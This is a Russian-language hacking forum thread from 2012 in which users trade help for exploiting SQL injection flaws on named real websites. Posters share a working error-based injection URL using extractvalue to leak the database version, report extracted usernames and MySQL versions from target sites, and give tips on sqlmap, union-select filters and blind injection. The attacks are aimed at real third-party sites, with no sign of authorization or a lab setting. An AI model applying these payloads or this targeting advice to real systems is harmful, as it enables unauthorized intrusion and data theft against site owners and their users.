Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Ups

    Ups Member

    Joined:
    11 Apr 2011
    Messages:
    113
    Likes Received:
    12
    Reputations:
    0
    Помогите раскрутить :confused:
    Пробывал sqlmap'ом.
    http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view
     
  2. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    http://www.fanatnauki.ru/index.php
    ?option=com_fireboard
    &Itemid=8
    &func=view
    &task=showprf',(extractvalue(1,concat(0x3a,version()))),1,2,3,4)-- xyi
    upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел
     
    #20942 Melfis, 15 Aug 2012
    Last edited: 15 Aug 2012
  3. Teratex

    Teratex New Member

    Joined:
    13 Mar 2012
    Messages:
    28
    Likes Received:
    3
    Reputations:
    5
    Ups
    Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
    current user: 'kubrikov_fn@localhost'

     
    1 person likes this.
  4. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Он не знал, что скуль в другом параметре - task.

    Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
     
    1 person likes this.
  5. Ups

    Ups Member

    Joined:
    11 Apr 2011
    Messages:
    113
    Likes Received:
    12
    Reputations:
    0
    Дайте покороче способ, если есть. :) Спасибо.
     
  6. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    http://forum.antichat.ru/showpost.php?p=3243868&postcount=21172
    Выше разве не он?
     
  7. Teratex

    Teratex New Member

    Joined:
    13 Mar 2012
    Messages:
    28
    Likes Received:
    3
    Reputations:
    5
    Ups
    Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.
     
  8. pirat0

    pirat0 Member

    Joined:
    16 Jan 2011
    Messages:
    71
    Likes Received:
    6
    Reputations:
    -1
    через админку
     
  9. Nightfall

    Nightfall New Member

    Joined:
    14 Aug 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?

    Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
     
  10. package

    package New Member

    Joined:
    1 Aug 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Там по моему фильтр на union select
     
  11. Nightfall

    Nightfall New Member

    Joined:
    14 Aug 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    но order by же должен работать?
     
  12. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173

    '5.1.61'
     
  13. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Через name_const не выведешь ничего кроме version()
    Вот запрос более рабочий с примером работы с таблицами и колонками.
     
    3 people like this.
  14. Nightfall

    Nightfall New Member

    Joined:
    14 Aug 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Всем большое спасибо за помощь
     
  15. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
    уязвим параметр id
    почему не работает юнион селект?
    колонки подбираются,дальше не хочет
    версия мускля думаю поэтому и не хочет
    там 3 версия?
     
    #20955 InDuStRieS, 16 Aug 2012
    Last edited: 16 Aug 2012
  16. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Всё отлично работает
    4.0.27-log
     
  17. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    блин точно,забыл минусик поставить...ппц я протупил
    спасибо
     
  18. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
    Почему тут не работает?
    Не выводит
     
  19. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Потому-что это слепая скуля
     
  20. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    Вы не правы
     
Thread Status:
Not open for further replies.